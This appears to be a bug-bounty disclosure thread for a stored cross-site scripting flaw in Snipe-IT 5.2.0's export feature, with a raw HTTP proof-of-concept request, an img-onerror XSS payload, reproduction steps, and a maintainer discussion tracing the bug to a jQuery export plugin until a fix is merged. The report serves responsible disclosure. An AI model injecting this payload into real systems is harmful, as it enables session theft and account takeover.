Cross-site Scripting (XSS) - Stored in snipe/snipe-it

Valid

Reported on

Oct 11th 2021


Description

Multiple Stored XSS at parameter 'name' when creating a record at features 'Custom Fields', 'Asset Models', 'Suppliers', 'Locations', at Snipe-It 5.2.0

Proof of Concept

// PoC.req
POST /snipe-it/public/fields HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/snipe-it/public/fields/create
Content-Type: application/x-www-form-urlencoded
Content-Length: 178
Origin: http://127.0.0.1
Connection: close
Cookie: snipeit_session=0T5PDCYU5rYWFqgoGELcHUSDhNXKgoYfWymjjBcD; XSRF-TOKEN=eyJpdiI6IlNXdURJenR1RGNsVnJ1bXhZTjZIelE9PSIsInZhbHVlIjoiUWJkK2prcDVqeEh3YU16THBXemp5ZlEyUHFlWGZRWURwOTVPZjJtV0xKT09ucmpoYmZRTTRrRXBMdUVnOHFYXC81TUNhZ0U0R1NDMFwvNFV5XC9QSzhoUElySG8wRnNqYk1BTW5EdEdZazlxSzlIZDRJVGR6SHplb2x4V0hrNjg2TEQiLCJtYWMiOiI4NWUwZjQxZGZiNDVhM2YxZTdmNWY1YzY5OGZiNmI4MjAwZmVjOTU1MjZmMTNhMTM4MGRmNDNmNjMyMjU2YmFiIn0%3D; remember_web_59ba36addc2b2f9401580f014c7f58ea4e30989d=eyJpdiI6ImlWTjhuVHBCZGxyZlVZWkcrOFpzc0E9PSIsInZhbHVlIjoibnRcLzFuTGx3bTQ2U0lcL2R4MEJieU5BZ3RLMXpyaWYzdmx1ZlhMMENVSlwvV01jbVpUajVUVElScE5FcU1FVG1DMGltdlZtaXVmSzlVSnZoUU5JQjNWVWVlb0F5SUZSWkI1c1lTZndCSmh1TmhLaHBhbDM2Sk5tMVFTNTVzUjdIa3p1UmdVZWRJT2EydmRRT1B5Y0x6UVRDNFlJTTlNVDlwa2tRV1hkQTlzVHY4dUlMcmx1YkxlSDZQN24wMGNwQVJGNE80eWpTUXpnSjJzMkl4d3NEUHhlazlaeXRyNWo5eWJBQUZQXC9yNzBjTGs9IiwibWFjIjoiYzgzOWYwZGFmN2EyOGRlZDM3MDA1OGE0NTZjM2MwZDIyNTdmZmY2ODUxZGNkYTlmZTY2OGQ3YjU0MmU3MmZmOSJ9; laravel_token=eyJpdiI6IlwvdTBMVUhPWlBGQ2pGbUNIUzJSTEh3PT0iLCJ2YWx1ZSI6IlRmWml0VzdyUmRHbndBbVA2RXpHc24rdDg4bUhjazdqQXplUHB4QTEzTWNGbGllZXViRWF0a3J4XC80b3h3b1JyTDBwaU1XckF1eml1ZWlpdkxrXC9lRXJRaVVOU0xkWjRMSlBJOW1PclwvbUMzT0tlb04wQ2kzd294dnZwQlBXZ0tIeFNUYU44V0R0Vm5GSFMrVWhoTWxUT1wvVmF0R1JSVnVmbU40b2U0NFdiclZlclh1bGNJWE1jcGg3aXEwbHp4U2VKZGpENXY4bmlxajdxZmVNb0w2d2pVcUZSRitPZmE2VXlGNkVXdm91djRjbXpIendIanhUMitFOUp6TmVCdTlZa2hpUGl2bXN3NDlWN0RYOHd1NkVkWEp6cjk0TU1rbjFNYVFyUlMrNmE2Y29iaEpPeGk2eG9LbFpLaFBEZHBINyIsIm1hYyI6Ijc5OTYxMDlmZGYwODgyYTY1MjZlZWNhMDEwNjI5ZjVjMGRmNGU5YmIxNDYwODkwMTFlMjA1ZmY0MmYzZDAwODYifQ%3D%3D
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

_token=Bnbso5v36oa9526ZsSBd7bEyqQIaXzqnKCPL5kJ4&name=%22%3E%3CiMg+SrC%3D%22x%22+oNeRRor%3D%22alert%281%29%3B%22%3E&element=text&field_values=&format=ANY&custom_format=&help_text=

Step of Reproduct

At menu Settings choose to features 'Custom Fields', 'Asset Models', 'Suppliers', 'Locations',

Add new record with name contain payload: "><iMg SrC="x" oNeRRor="alert(1);">

The XSS will trigger when the user choose to 'Export data' as all file types

Video PoC: PoC

Impact

This vulnerability has the potential to steal a user's cookie and gain unauthorized access to that user's account through the stolen cookie.

We have contacted a member of the snipe/snipe-it team and are waiting to hear back 2 months ago
snipe validated this vulnerability 2 months ago
lethanhphuc has been awarded the disclosure bounty
The fix bounty is now up for grabs
snipe
2 months ago

Maintainer


This appears to be an issue with the Bootstrap Table export feature, not specifically to us. (The files mentioned in this vulnerability are not correct btw. We store data as-is, and typically clean it on the way out. Bootstrap Table export methods do not seem to handle that, so we may contact the maintainer of that BS table extension. https://bootstrap-table.com/docs/extensions/export/

lethanhphuc
2 months ago

Researcher


Hi, I checked on all other features and only the ones mentioned above can trigger xss

snipe
2 months ago

Maintainer


Hi - those only SAVE the data. The problem is with the JS export.

lethanhphuc
2 months ago

Researcher


Yes, I know... but when i export in other features xss is not triggered. ^^

snipe
2 months ago

Maintainer


We don't treat those exports any differently than any others, so I don't know why that would be true. (We literally use the exact same bootstrap table export on all of our table listings.)

snipe
2 months ago

Maintainer


We're investigating this issue, but I'm not sure why it's only happening on only those exports.

snipe
2 months ago

Maintainer


I can't seem to reproduce this on the Locations export?

snipe
2 months ago

Maintainer


Or on Asset Models export either. I can reproduce it on Custom Fields export, but not on Locations, Asset Models or Suppliers.

lethanhphuc
2 months ago

Researcher


Sorry for the omission in my report.

On Locations input payload at field 'Address', 'City', 'State', On Asset Modiles input payload at field 'Model No.' On Suppliers input payload at field 'Address', 'Contact Name'

I am also helping you to check this case.

snipe
2 months ago

Maintainer


Thanks for the additional info. What's weird there is that we do actually escape that data via the API. Very curious why it's happening in some places and not the others.

snipe
2 months ago

Maintainer


Just an FYI, we're working through this here: https://github.com/snipe/snipe-it/pull/10190

snipe
2 months ago

Maintainer


Quick update - on further investigation, we're pretty convinced this is an issue in either the BS table export extension, or the jQuery table export plugin. We're going to try to bypass the BS table extension and call the jQuery export directly and see if that fixes the issue, and if so, we'll put up a PR for the BS table extension.

snipe
2 months ago

Maintainer


Looks like this issue might be in the jquery plugin itself. Activating it on its own still presents the same problem. And I understand why - they want to decode any HTML so that the export itself doesn't have all kinds of funky escaped HTML in it - but since they're stuffing it into the DOM, this presents a problem.

https://github.com/hhurz/tableExport.jquery.plugin/blob/cd16685b284f749f9360ac929b582501d874cb94/tableExport.js#L2122

The call stack for csv Export is ForEachVisibleCell -> CollectCsvData -> csvString -> parseString but each export calls parseString in the end.

If I'm being too verbose with this, just let me know. Just wanted to keep you updated.

snipe confirmed that a fix has been merged on bda23b 2 months ago
snipe has been awarded the fix bounty
Jamie Slome
a month ago

Admin


CVE published! 🎊